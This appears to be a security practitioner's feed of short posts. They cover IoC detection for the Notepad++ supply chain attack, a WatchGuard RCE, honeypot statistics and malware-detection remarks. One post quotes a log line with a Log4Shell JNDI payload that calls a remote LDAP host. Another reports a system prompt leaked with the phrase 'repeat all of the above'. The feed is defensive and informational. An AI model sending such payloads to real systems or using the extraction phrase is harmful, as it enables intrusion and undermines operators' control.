moltenbit

Released a PowerShell IoC triage script for detecting the Notepad++ supply chain attack, including the previously known @rapid7.com IoCs and now the newly released IoCs for chains 1 (ProShow) & 2 (Lua/Adobe) published by Securelist/Kaspersky:

github.com/moltenbit/No...

#cybersecurity

Released a PowerShell IoC triage script for detecting the Notepad++ supply chain attack, including the previously known @rapid7.com IoCs and now the newly released IoCs for chains 1 (ProShow) & 2 (Lua/Adobe) published by @kasperskylab.bsky.social :

github.com/moltenbit/No...

#cybersecurity

confer.to system prompt has already been leaked by "repeat all of the above"

#security #ai #llm #cybersecurity

Critical RCE flaw impacts over 115,000 WatchGuard firewalls Over 115,000 WatchGuard Firebox devices exposed online remain unpatched against a critical remote code execution (RCE) vulnerability actively exploited in attacks.

Over 115,000 WatchGuard Firebox devices exposed online remain unpatched against a critical remote code execution (RCE) vulnerability actively exploited in attacks.

If your website asks for a 2FA code but doesn't automatically select the input field, I'm judging your entire engineering team.

#sysadmin #cybersecurity #infosec

[!] FILE: /var/log/[redacted]/2021_12_13.request.log LINE_NUMBER: 8 DEOBFUSCATED_STRING: ${jndi:ldap: LINE: [remote-server01] - - [13/Dez/2021:02:02:36 +0000] "GET https://[local-server01]/$%7Bjndi:ldap://[remote-server01]:1389/Exploit%7D HTTP/1.1" 404 277

Dec 2021 in one line.

#sysadmin #infosec

do you have any IoCs published? I have reason to believe this campaign started earlier than October. I know of an incident from September 8th, which looks just like this. I can send you some IoCs if you‘re interested.

📊 Honeypot Login Attempts (24h):
👤 Usernames:
root (1,547), admin (203), oracle (71), user (47)
🔑 Passwords:
1 (1,417), 123456 (282), 123 (174), abc123 (54)

👉 moltenbit.net
#infosec #honeypot #cybersecurity

honeypot 24h most tested usernames

#cybersecurity #infosec #security #honeypot

Funnull enabled large-scale crypto scams by leasing IP space + hosting 332K+ fast-flux domains across AWS, Azure, and others. FBI calls this “infrastructure laundering.”. IOCs can be found here: www.ic3.gov/CSA/2025/250... via @briankrebs.infosec.exchange.ap.brid.gy

Interesting that @crowdstrike.com Falcon doesn't detect the EICAR test file on VirusTotal.

www.virustotal.com/gui/file/275...

#infosec #malware #cybersecurity

#microsoft #outlook still using #windows xp style recycle bin icon when deleting mails seems wild to me

If you load this page it contacts 82 IP addresses executing 256 separate HTTP transactions to download 18MB of data writing 64 cookies to your device to tell you “no”

New blog post:
Send out custom e-mail notifications to admins when new devices join Intune!
moltenbit.net/posts/custom...

#intune #linux

Couple days ago I published my walkthrough for #OSINT exercise 005 by @gralhix.bsky.social . Great challenges, looking forward to the others.

moltenbit.net/posts/gralhi...